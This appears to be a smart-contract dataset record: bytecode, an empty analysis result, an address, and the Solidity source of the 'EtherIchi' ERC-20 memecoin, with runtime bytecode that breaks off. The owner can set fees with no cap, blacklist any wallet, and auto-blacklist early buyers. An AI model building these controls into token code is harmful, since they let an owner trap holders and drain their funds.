600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107545780601f1061072957610100808354040283529160200191610754565b820191906000526020600020905b81548152906001019060200180831161073757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096d57600080fd5b6109be826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a51826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8357600080fd5b600360149054906101000a900460ff16151515610c9f57600080fd5b610cb48260015461188390919063ffffffff16565b600181905550610d0b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f1c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb0565b610f2f838261186a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114257600080fd5b600360149054906101000a900460ff1615151561115e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112685780601f1061123d57610100808354040283529160200191611268565b820191906000526020600020905b81548152906001019060200180831161124b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112ad57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112fa57600080fd5b61134b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113de826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061152082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187857fe5b818303905092915050565b600080828401905083811015151561189757fe5b80915050929150505600a165627a7a723058205fd30e7bd4700a0530cd222713a547ed836f945c1731530379861c5b0bcb75c90029
|
{"success": true, "error": null, "results": {}}
| 6,315 |
0xed6088CBb827B7BB6120337702E2346E6b171B65
|
/**
First $ICHI Fork on ETH.
https://twitter.com/EtherIchi
https://t.me/EtherIchi
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EtherIchi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EtherIchi";//
string private constant _symbol = "ETHICHI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x111BBABbd99B6d4DE83db65AF9c06999eA5D5c04);//
address payable private _marketingAddress = payable(0xdA346015A1411B9C4259D453DA9f89bd1C2a622f);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b67565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600981526845746865724963686960b81b60208201525b6040516102399190611c99565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611ab7565b610686565b6040519015158152602001610239565b34801561027e57600080fd5b50601554610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a76565b61069d565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601654610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a03565b610706565b34801561036e57600080fd5b506101fc61037d366004611c33565b610751565b34801561038e57600080fd5b506101fc610799565b3480156103a357600080fd5b506102c26103b2366004611a03565b6107e4565b3480156103c357600080fd5b506101fc610806565b3480156103d857600080fd5b506101fc6103e7366004611c4e565b61087a565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610292565b34801561042c57600080fd5b506101fc61043b366004611c33565b6108a9565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b506040805180820190915260078152664554484943484960c81b602082015261022c565b34801561049257600080fd5b506101fc6104a1366004611c4e565b6108f5565b3480156104b257600080fd5b506101fc6104c1366004611c67565b610924565b3480156104d257600080fd5b506102626104e1366004611ab7565b610962565b3480156104f257600080fd5b50610262610501366004611a03565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61096f565b34801561053757600080fd5b506101fc610546366004611ae3565b6109c3565b34801561055757600080fd5b506102c260085481565b34801561056d57600080fd5b506102c261057c366004611a3d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c4e565b610a64565b3480156105d357600080fd5b506101fc6105e2366004611a03565b610a93565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611cee565b60405180910390fd5b60005b81518110156106825760016011600084848151811061063e5761063e611e35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e04565b91505061061d565b5050565b6000610693338484610b7d565b5060015b92915050565b60006106aa848484610ca1565b6106fc84336106f785604051806060016040528060288152602001611e77602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125f565b610b7d565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611cee565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611cee565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ce57506014546001600160a01b0316336001600160a01b0316145b6107d757600080fd5b476107e181611299565b50565b6001600160a01b0381166000908152600260205260408120546106979061131e565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161061190611cee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161061190611cee565b601755565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260040161061190611cee565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161061190611cee565b601955565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161061190611cee565b600993909355600b91909155600a55600c55565b6000610693338484610ca1565b6013546001600160a01b0316336001600160a01b031614806109a457506014546001600160a01b0316336001600160a01b0316145b6109ad57600080fd5b60006109b8306107e4565b90506107e1816113a2565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161061190611cee565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611e35565b9050602002016020810190610a249190611a03565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611e04565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161061190611cee565b601855565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161061190611cee565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561115857601654600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2257506001600160a01b03821660009081526011602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b600854610f88906001611d94565b4311158015610fa457506016546001600160a01b038481169116145b8015610fbe57506015546001600160a01b03838116911614155b8015610fd357506001600160a01b0382163014155b15610ffc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611081576018548161101e846107e4565b6110289190611d94565b106110815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061108c306107e4565b6019546017549192508210159082106110a55760175491505b8080156110bc5750601654600160a81b900460ff16155b80156110d657506016546001600160a01b03868116911614155b80156110eb5750601654600160b01b900460ff165b801561111057506001600160a01b03851660009081526005602052604090205460ff16155b801561113557506001600160a01b03841660009081526005602052604090205460ff16155b1561115557611143826113a2565b4780156111535761115347611299565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119a57506001600160a01b03831660009081526005602052604090205460ff165b806111cc57506016546001600160a01b038581169116148015906111cc57506016546001600160a01b03848116911614155b156111d957506000611253565b6016546001600160a01b03858116911614801561120457506015546001600160a01b03848116911614155b1561121657600954600d55600a54600e555b6016546001600160a01b03848116911614801561124157506015546001600160a01b03858116911614155b1561125357600b54600d55600c54600e555b610a5e8484848461152b565b